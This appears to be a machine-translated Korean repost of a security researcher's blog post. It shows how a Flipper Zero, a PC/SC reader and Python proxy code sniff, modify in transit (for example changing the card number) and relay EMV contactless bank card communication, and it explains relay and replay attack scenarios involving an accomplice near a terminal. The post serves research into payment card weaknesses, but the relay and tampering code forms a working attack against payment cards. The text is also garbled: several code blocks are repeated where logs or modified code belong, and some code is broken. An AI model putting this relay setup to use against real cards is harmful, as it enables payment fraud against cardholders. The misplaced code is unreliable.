>백엔드 개발 >파이썬 튜토리얼 >Flipper Zero NFC 해킹 - EMV 뱅킹, 중간자 및 릴레이 공격

Flipper Zero NFC 해킹 - EMV 뱅킹, 중간자 및 릴레이 공격

Linda Hamilton
Linda Hamilton원래의
2024-12-23 06:32:48158검색

이전 게시물에서 Flipper가 NFC 비접촉식 카드 리더기와 NFC 카드 에뮬레이터로 어떻게 작동할 수 있는지 살펴봤습니다. 이 두 기능을 결합하면 카드 리더 거래에 대한 다양한 잠재적인 공격 시나리오가 드러납니다.

  • 통신 스니핑이 가능한가요? 두 기기 간에 주고받는 데이터를 변조하지 않고 가로채서 모니터링한다는 의미
  • MitM(Man-in-the-Middle) 공격이 가능할까요? 구체적으로 카드와 리더기 사이의 통신을 가로채서 변경하고 실시간으로 데이터를 주입하거나 수정할 수 있을까요?
  • 내 카드가 릴레이 공격에 취약한 걸까? 카드 근처에 있는 한 명의 공격자가 카드와 통신하고 리더 근처에 있는 공범에게 명령/응답을 전달하여 리더를 속여 거래를 처리하도록 합니다. 카드가 존재했어요. 이를 통해 카드가 단말기에 전혀 가까이 있지 않은 경우에도 무단 거래가 가능합니다.

이번 포스팅에서는 이 세 가지 질문에 대해 자세히 다루겠습니다.

1- 우리가 달성하고 싶은 것은 무엇입니까?

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

위 다이어그램(여기서 더 높은 품질로 사용 가능)은 앞에서 설명한 다양한 공격을 테스트하기 위해 설정하려는 설정을 보여줍니다.

  1. 은행 카드의 데이터를 읽어들이는 애플리케이션이 포함된 휴대폰이 있습니다.
  2. 휴대폰은 카드 에뮬레이션 모드로 작동하는 Flipper Zero와 통신합니다.
  3. 플리퍼 제로는 PC에 연결되어 있으며, PC는 수신된 명령을 연결된 PC/SC 리더로 전달합니다.
  4. PC/SC 리더는 실제 은행 카드로 명령을 보냅니다.
  5. 실제 카드는 명령을 처리하고 응답하며 동일한 방식으로 응답이 PC/SC 리더, PC, 마지막으로 휴대폰으로 이동합니다.
  6. 한편 PC에서 실행되는 Python 스크립트는 이러한 명령과 응답을 가로채서 데이터가 전달되는 동안 실시간으로 수정할 수 있습니다.

이전에는 모든 데이터 처리 로직을 Flipper 외부에서 실행되는 Python 스크립트로 오프로드했습니다. 이 접근 방식을 사용하면 변경 사항이 있을 때마다 새 펌웨어를 업데이트하거나 업로드할 필요가 없습니다. 그러나 질문이 생깁니다. 이 Python 프록시가 통신을 방해하고 실패를 초래할 수 있는 대기 시간을 도입합니까?

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

이 질문에 답하기 전에 이 구성을 설정하는 데 사용할 Python 스크립트를 살펴보겠습니다.

2 - Python 스크립트 준비

이전 블로그 게시물에서는 이 설정의 두 가지 주요 구성 요소를 다루었습니다.

  • Flipper Zero를 사용하여 카드를 에뮬레이션합니다.
  • PC/SC 리더를 사용하여 카드와 통신합니다.

이제 두 가지를 연결하기만 하면 됩니다. 정확히 무슨 얘기를 하고 있는 걸까요?

  • Flipper가 필드를 감지하면 리더가 카드의 전원을 켜야 합니다.
  • 반대로, 플리퍼가 필드가 꺼진 것을 감지하면 리더는 카드의 전원을 차단해야 합니다.
  • Flipper는 TPDU 통신 관리를 담당합니다. 이는 PC/SC 리더가 TPDU 수준의 명령만 처리하기 때문입니다.
    • Flipper는 완전한 APDU를 수신하면 이를 리더에게 보냅니다.
    • 리더는 명령을 실제 카드로 전달한 후 카드의 응답을 다시 플리퍼로 전달합니다.
    • Flipper는 이 응답을 처리하여 TPDU 형식으로 전송합니다.

독자에 대한 이러한 요구 사항으로 인해 아래에 설명된 추상 Reader 클래스가 생성되었습니다. 추가적으로 독자와의 관계를 구축하는 방법을 소개했습니다.

class Reader():

    def __init__(self):
        pass

    def connect(self):
        pass

    def field_off(self):
        pass

    def field_on(self):
        pass

    def process_apdu(self, data: bytes) -> bytes:
        pass

다음으로 PC/SC 리더와 상호 작용하기 위해 아래에 미니멀한 PCSCReader 클래스를 만듭니다.

class PCSCReader(Reader):
    def __init__(self):
        pass

    def connect(self):
        available_readers = readers()

        if len(available_readers) == 0:
            print("No card reader avaible.")
            sys.exit(1)

        # We use the first detected reader
        reader = available_readers[0]
        print(f"Reader detected : {reader}")

        # Se connecter à la carte
        self.connection = reader.createConnection()
        self.connection.connect()

    def process_apdu(self, data: bytes) -> bytes:
        print(f"apdu cmd: {data.hex()}")
self.connection.transmit(list(data))
            resp = bytes(data + [sw1, sw2])
        print(f"apdu resp: {resp.hex()}")
        return resp

이제 아래와 같이 Emu라고 하는 카드 에뮬레이터 구현으로 넘어갈 수 있습니다. 선택적 Reader 개체를 매개 변수로 허용합니다. 제공되면 독자와 연결됩니다.

class Emu(Iso14443ASession):
    def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None):
        Iso14443ASession.__init__(self, cid, nad, drv, block_size)
        self._addCID = False
        self.drv = self._drv
        self.process_function = process_function
        self._pcb_block_number: int = 1
        # Set to one for an ICC
        self._iblock_pcb_number = 1
        self.iblock_resp_lst = []
        self.reader = reader
        if self.reader:
            self.reader.connect()

다음으로 독자에게 이벤트를 전달하는 세 가지 방법, 즉 필드 끄기, 필드 켜기, APDU 전송을 정의합니다.

# class Emu(Iso14443ASession):
    def field_off(self):
        print("field off")
        if self.reader:
            self.reader.field_off()

    def field_on(self):
        print("field on")
        if self.reader:
            self.reader.field_on()

    def process_apdu(self, apdu):
        if self.reader:
            return self.reader.process_apdu(apdu)
        else:
            self.process_function(apdu)

다음으로 TPDU 수준에서 카드 에뮬레이터 명령 통신을 관리하는 방법을 개선했습니다. 특히, 완전한 APDU 명령이 수신되면 process_apdu 메소드가 호출되어 이를 리더기로 전달하고 실제 카드에서 응답을 검색합니다.

# class Emu(Iso14443ASession):
    def rblock_process(self, tpdu: Tpdu) -> Tuple[str, bool]:
        print("r block")
        if tpdu == "BA00BED9":
            rtpdu, crc = "BA00", True

        elif tpdu.pcb in [0xA2, 0xA3, 0xB2, 0xB3]:
            if len(self.iblock_resp_lst):
                rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True
            else:
                rtpdu = self.build_rblock(ack=True).hex()
                crc = True

        return rtpdu, crc

    def low_level_dispatcher(self):
        capdu = bytes()
        ats_sent = False

        iblock_resp_lst = []

        while 1:
            r = fz.emu_get_cmd()
            rtpdu = None
            print(f"tpdu < {r}")
            if r == "off":
                self.field_off()
            elif r == "on":
                self.field_on()
                ats_sent = False
            else:
                tpdu = Tpdu(bytes.fromhex(r))

                if (tpdu.tpdu[0] == 0xE0) and (ats_sent is False):
                    rtpdu, crc = "0A788082022063CBA3A0", True
                    ats_sent = True
                elif tpdu.r:
                    rtpdu, crc = self.rblock_process(tpdu)
                elif tpdu.s:
                    print("s block")
                    # Deselect
                    if len(tpdu._inf_field) == 0:
                        rtpdu, crc = "C2E0B4", False
                    # Otherwise, it is a WTX

                elif tpdu.i:
                    print("i block")
                    capdu += tpdu.inf

                    if tpdu.is_chaining() is False:
                        rapdu = self.process_function(capdu)
                        capdu = bytes()
                        self.iblock_resp_lst = self.chaining_iblock(data=rapdu)
                        rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True

                print(f">>> rtdpu {rtpdu}\n")
                fz.emu_send_resp(bytes.fromhex(rtpdu), crc)

마지막으로 Flipper Zero에서 카드 에뮬레이션을 시작하는 데 사용되는 메서드를 구현합니다.

# class Emu(Iso14443ASession):
    def run(self):
        self.drv.start_emulation()
        print("...go!")
        self.low_level_dispatcher()

Python 스크립트가 준비되었습니다. 이제 테스트에 사용할 하드웨어 설정을 살펴보겠습니다.

3 - 차고에서 진행된 실험

다음은 공격 환경의 소규모 복제입니다. 왼쪽부터:

  • NFC 은행 카드 판독용 애플리케이션을 실행하는 Android 휴대폰. 우리의 경우에는 NFC-EMV-Reader(GitHub - NFC-EMV-Reader에서 사용 가능)입니다. 다소 구식이지만 데모 목적으로 완벽하게 작동합니다. 이 장치는 NFC 카드와 통신을 시도하는 단말기를 시뮬레이션합니다. 다른 기기와 연결되어 있지 않습니다.
  • NFC 카드 에뮬레이터 역할을 하는 Flipper Zero. 컴퓨터에 연결되어 있습니다(이미지에는 보이지 않습니다).
  • PC/SC 리더, 컴퓨터에도 연결됩니다.
  • 이 설정에서 대상이 되는 실제 카드를 나타내는 실제 NFC 은행 카드입니다.

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

완벽합니다. 이제 공격을 수행하는 데 필요한 모든 구성 요소가 준비되었습니다! 싸우자!

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

4 - 통신 스니핑

먼저 스니핑을 시도할 수 있습니다. 즉, Flipper의 APDU 명령/응답이 수정 없이 카드로 전달됩니다.

이는 완벽하게 작동하고 안정적으로 유지되며, Python 코드가 중개자 역할을 하므로 눈에 띄는 영향이 없습니다! Python 프록시가 너무 많은 대기 시간을 추가하고 터미널이 카드가 너무 느리다고 징징대기 시작하면 이에 대한 해결책이 있습니다. (아직) 구현하지 못한 것:

  • WTX(Wait-Time Extension)라는 TPDU 명령입니다.
  • 암호화 등 리소스 집약적인 작업을 수행하는 데 추가 시간이 필요할 때 카드에서 이 명령을 보냅니다.
  • 리더는 이를 카드가 아직 처리 중이라는 신호로 해석하고 단말기는 승인으로 응답합니다.
  • 이론적으로 카드는 원하는 만큼 WTX 명령을 보낼 수 있습니다.

아래는 로그 일부입니다.

  • 카드 전원이 켜졌습니다(필드 꺼짐/필드 켜짐)
  • 단말기는 APDU SELECT 명령(00a4040007d276000085010100)을 사용하여 카드 애플리케이션 선택을 시도합니다. 여기서 애플리케이션 식별자(일반적으로 AID라고 함)는 d2760000850101입니다. EFTLab의 종합 AID 데이터베이스에서 카드 AID 목록을 검토한 결과 이 ​​AID가 NXP 칩에 구현된 독일 NDEF 태그 애플리케이션에 해당하는 것으로 나타났습니다.
  • 이 애플리케이션이 카드에 없기 때문에 카드는 요청된 애플리케이션을 인식하지 못함을 나타내는 2바이트 상태 워드 6A82로 응답합니다.
class Reader():

    def __init__(self):
        pass

    def connect(self):
        pass

    def field_off(self):
        pass

    def field_on(self):
        pass

    def process_apdu(self, data: bytes) -> bytes:
        pass

사실 카드에는 고유한 AID가 있는 수백 가지의 다양한 애플리케이션이 설치되어 있을 수 있습니다. 터미널은 그것들을 하나씩 모두 시도하려고 시도하지 않습니다. 이것이 바로 비접촉식 뱅킹 영역에서 카드에서 사용 가능한 뱅킹 애플리케이션을 표시하도록 설계된 모든 카드에 특정 애플리케이션이 존재하는 이유입니다. AID는 325041592e5359532e4444463031이며 ASCII로 변환하면 2PAY.SYS.DDF01입니다.

나중에 통신에서 이 애플리케이션이 호출되는 것을 볼 수 있습니다(아래 그림 참조). 따라서 앞서 논의한 바와 같이 AID D2760000850101을 사용하는 애플리케이션의 이전 선택은 특이한 것으로 보입니다.

class PCSCReader(Reader):
    def __init__(self):
        pass

    def connect(self):
        available_readers = readers()

        if len(available_readers) == 0:
            print("No card reader avaible.")
            sys.exit(1)

        # We use the first detected reader
        reader = available_readers[0]
        print(f"Reader detected : {reader}")

        # Se connecter à la carte
        self.connection = reader.createConnection()
        self.connection.connect()

    def process_apdu(self, data: bytes) -> bytes:
        print(f"apdu cmd: {data.hex()}")
self.connection.transmit(list(data))
            resp = bytes(data + [sw1, sw2])
        print(f"apdu resp: {resp.hex()}")
        return resp

응답을 분석하면 MasterCard에 해당하는 AID A0000000041010이 포함된 애플리케이션이 있음을 나타내는 여러 세부정보를 확인할 수 있습니다.

따라서 휴대폰은 결국 이 애플리케이션을 선택하게 됩니다.

그런 다음 기본 계좌 번호(PAN)를 포함하여 카드에서 다양한 세부 정보를 검색합니다. 카드에 표시된 숫자가 단말기에 표시된 숫자와 일치하여 단순 스니핑에 의존하는 우리의 릴레이 공격이 성공했음을 확인시켜줍니다!

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

물론 Proxmark와 같은 도구를 사용하면 스니핑이 훨씬 간단해집니다. 하지만 복잡하게 만들 수 있는데 왜 단순하게 만드나요 ;) ?

5 - 중간자

이제 중간자 공격으로 넘어가겠습니다. 이는 우리가 커뮤니케이션을 듣기만 하는 것이 아니라 적극적으로 변경한다는 의미입니다. 흥미로운 사용 사례 중 하나는 카드 번호를 수정하는 것입니다(예: 5132를 6132로 변경).

이전 통신의 로그를 다시 참조하면 이러한 데이터가 일반 텍스트로 전송되는 것을 확인할 수 있습니다. 00B2010C00 및 00B2011400과 같은 READ RECORD 명령을 사용하여 카드에서 검색됩니다.

데이터가 암호화되지 않고 무결성 보호가 부족하므로 원하는 대로 수정할 수 있습니다. 이를 구현하려면 간단히 PCSCReader 클래스의 process_apdu 메소드를 업데이트하여 변경 사항을 처리하면 됩니다.

class Emu(Iso14443ASession):
    def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None):
        Iso14443ASession.__init__(self, cid, nad, drv, block_size)
        self._addCID = False
        self.drv = self._drv
        self.process_function = process_function
        self._pcb_block_number: int = 1
        # Set to one for an ICC
        self._iblock_pcb_number = 1
        self.iblock_resp_lst = []
        self.reader = reader
        if self.reader:
            self.reader.connect()

그리고 아래 이미지처럼 애플리케이션은 수정사항을 전혀 인식하지 못합니다!

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

왜 작동하나요? 대답은 다양한 통신 계층을 설명하는 아래 이미지에 있습니다.

  • 하단에는 기본 기술인 ISO-14443이 물리 계층 통신을 처리합니다. 플리퍼 제로는 이 사양에 따라 데이터를 교환합니다.
  • 그럼 TPDU가 있습니다. 데이터는 무결성을 위해서만 공개 CRC에 의해 보호되는 TPDU로 교환됩니다. 마지막으로 카드 애플리케이션의 명령과 응답으로 구성된 APDU 레이어가 있습니다. 세 가지 가능한 보호 수준이 있습니다.
    1. 보호 없음: 명령과 응답에는 무결성이나 기밀 보호 기능이 없습니다. 이는 우리 설정의 경우이므로 통신 수정이 매우 쉽습니다.
    2. 부분 암호화: 명령이나 응답이 부분적으로 암호화됩니다. 이는 통신의 신뢰성을 검증하기 위해 암호화가 포함된 일부 NFC 뱅킹 명령에서 볼 수 있습니다.
    3. 완전 암호화: 명령과 응답이 모두 완전히 암호화되어 완벽한 보호를 제공합니다. 하지만 EMV 카드에서는 이 기능이 구현되지 않습니다.

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

즐거운 시간도 보낼 수 있겠네요... 급하게 수정하다보니 가끔씩 데이터를 무작위로 수정하기도 했는데요. 어떤 경우에는 아래 이미지에 표시된 것처럼 카드 번호가 16자리로 제한되어야 함에도 불구하고 애플리케이션에서 카드 번호에 대해 많은 문자 블록을 표시하게 되었습니다!

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

이것은 퍼징 실험에 대한 몇 가지 흥미로운 가능성을 열어줍니다.

6 - 릴레이 공격

이 블로그 게시물 시작 부분에서 언급했듯이 릴레이 공격은 두 당사자(예: NFC 카드 및 단말기) 간의 통신을 가로채서 변경하지 않고 중계하여 단말기가 합법적인 카드와 통신하고 있다고 믿도록 속이는 것입니다. 실시간으로 카드를 확인하세요.

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

해커가 터미널에서 결제를 하려고 합니다. 피해자 근처에 있는 공범에게 단말기의 통신을 전달하고, 공범은 자신도 모르게 피해자의 카드로 통신을 합니다.

이전 실험에서는 차고와 같이 통제된 환경에서 이 공격이 가능하다는 것을 보여주었습니다. 그러나 실제 시나리오에서는 고려해야 할 추가 과제가 있습니다.

  • 근접 근접 필요: 공격자는 카드 근처에 있어야 합니다. 그래서 코로나 기간 동안 사회적 거리두기를 실천하면서 엄청 편리했음은 물론입니다.
  • POS공범: 터미널 근처에 두 번째 사람이 필요합니다.
  • 낮은 지연 시간 및 안정적인 통신: 신호 중계 지연은 실패로 이어질 수 있으며 안정적인 통신은 성공에 매우 중요합니다. 이러한 문제를 해결하기 위해 다른 유형의 공격, 즉 재생 공격을 사용할 수 있습니다.
    • 공격자는 피해자와 통신합니다. 카드가 합법적인 단말기인 것처럼 카드의 응답을 기록합니다.
    • 그런 다음 공격자는 녹음된 응답을 터미널에 재생합니다.
    • 터미널 명령에 무작위 데이터를 사용하면 재생 공격을 방지할 수 있지만 무작위성은 보이는 것보다 덜 강력할 때도 있습니다. 그러나 이 취약점을 탐색하는 것은 이 블로그의 범위를 벗어납니다.

릴레이 공격에 대한 주요 대책 중 하나는 릴레이로 인해 눈에 띄는 지연이 발생하므로 통신 타이밍을 측정하는 것입니다. 그러나 이전 EMV 프로토콜에는 이러한 타이밍 확인을 용이하게 하는 명령이 포함되어 있지 않습니다.

결론

이 블로그 게시물이 끝났습니다. 내용이 즐거웠기를 바랍니다! Python 코드와 수정된 Flipper Zero 펌웨어는 내 GitHub에서 사용할 수 있습니다.

https://github.com/gvinet/pynfcreader
https://github.com/gvinet/flipperzero-firmware

위 내용은 Flipper Zero NFC 해킹 - EMV 뱅킹, 중간자 및 릴레이 공격의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.